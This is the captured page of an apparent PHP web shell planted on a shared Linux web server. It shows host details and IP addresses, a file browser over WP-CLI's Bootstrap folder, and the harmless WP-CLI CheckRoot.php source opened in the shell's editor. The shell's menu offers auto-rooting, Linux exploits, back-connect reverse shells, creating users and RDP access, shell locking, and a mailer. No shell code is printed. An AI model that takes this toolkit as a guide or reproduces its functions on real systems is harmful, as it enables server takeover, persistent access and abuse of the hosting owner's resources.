Linux iad1-shared-b7-18 6.6.49-grsec-jammy+ #10 SMP Thu Sep 12 23:23:08 UTC 2024 x86_64
Apache
: 67.205.6.31 | : 216.73.216.47
Cant Read [ /etc/named.conf ]
8.2.29
fernandoquevedo
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
usr /
local /
wp /
php /
WP_CLI /
Bootstrap /
[ HOME SHELL ]
Name
Size
Permission
Action
AutoloaderStep.php
2.29
KB
-rw-r--r--
BootstrapState.php
1.41
KB
-rw-r--r--
BootstrapStep.php
455
B
-rw-r--r--
CheckRoot.php
1.95
KB
-rw-r--r--
ConfigureRunner.php
733
B
-rw-r--r--
DeclareAbstractBaseCommand.php
577
B
-rw-r--r--
DeclareFallbackFunctions.php
579
B
-rw-r--r--
DeclareMainClass.php
532
B
-rw-r--r--
DefineProtectedCommands.php
1.23
KB
-rw-r--r--
IncludeFallbackAutoloader.php
922
B
-rw-r--r--
IncludeFrameworkAutoloader.php
1.29
KB
-rw-r--r--
IncludePackageAutoloader.php
1.25
KB
-rw-r--r--
IncludeRequestsAutoloader.php
3.98
KB
-rw-r--r--
InitializeColorization.php
588
B
-rw-r--r--
InitializeContexts.php
1
KB
-rw-r--r--
InitializeLogger.php
1.04
KB
-rw-r--r--
LaunchRunner.php
639
B
-rw-r--r--
LoadDispatcher.php
565
B
-rw-r--r--
LoadExecCommand.php
855
B
-rw-r--r--
LoadRequiredCommand.php
1.66
KB
-rw-r--r--
LoadUtilityFunctions.php
553
B
-rw-r--r--
RegisterDeferredCommands.php
1.9
KB
-rw-r--r--
RegisterFrameworkCommands.php
1.1
KB
-rw-r--r--
RunnerInstance.php
675
B
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : CheckRoot.php
<?php namespace WP_CLI\Bootstrap; use WP_CLI; use WP_CLI\Utils; /** * Class CheckRoot. * * Check if the user is running as root and aborts with a warning if they are. * * @package WP_CLI\Bootstrap */ class CheckRoot implements BootstrapStep { /** * Process this single bootstrapping step. * * @param BootstrapState $state Contextual state to pass into the step. * * @return BootstrapState Modified state to pass to the next step. */ public function process( BootstrapState $state ) { $config = $state->getValue( 'config', [] ); if ( array_key_exists( 'allow-root', $config ) && true === $config['allow-root'] ) { // They're aware of the risks and set a flag to allow root. return $state; } if ( getenv( 'WP_CLI_ALLOW_ROOT' ) ) { // They're aware of the risks and set an environment variable to allow root. return $state; } $args = $state->getValue( 'arguments', [] ); if ( count( $args ) >= 2 && 'cli' === $args[0] && in_array( $args[1], [ 'update', 'info' ], true ) ) { // Make it easier to update root-owned copies. return $state; } if ( ! function_exists( 'posix_geteuid' ) ) { // POSIX functions not available. return $state; } if ( posix_geteuid() !== 0 ) { // Not root. return $state; } WP_CLI::error( "YIKES! It looks like you're running this as root. You probably meant to " . "run this as the user that your WordPress installation exists under.\n" . "\n" . "If you REALLY mean to run this as root, we won't stop you, but just " . 'bear in mind that any code on this site will then have full control of ' . "your server, making it quite DANGEROUS.\n" . "\n" . "If you'd like to continue as root, please run this again, adding this " . "flag: --allow-root\n" . "\n" . "If you'd like to run it as the user that this site is under, you can " . "run the following to become the respective user:\n" . "\n" . " sudo -u USER -i -- wp <command>\n" . "\n" ); } }
Close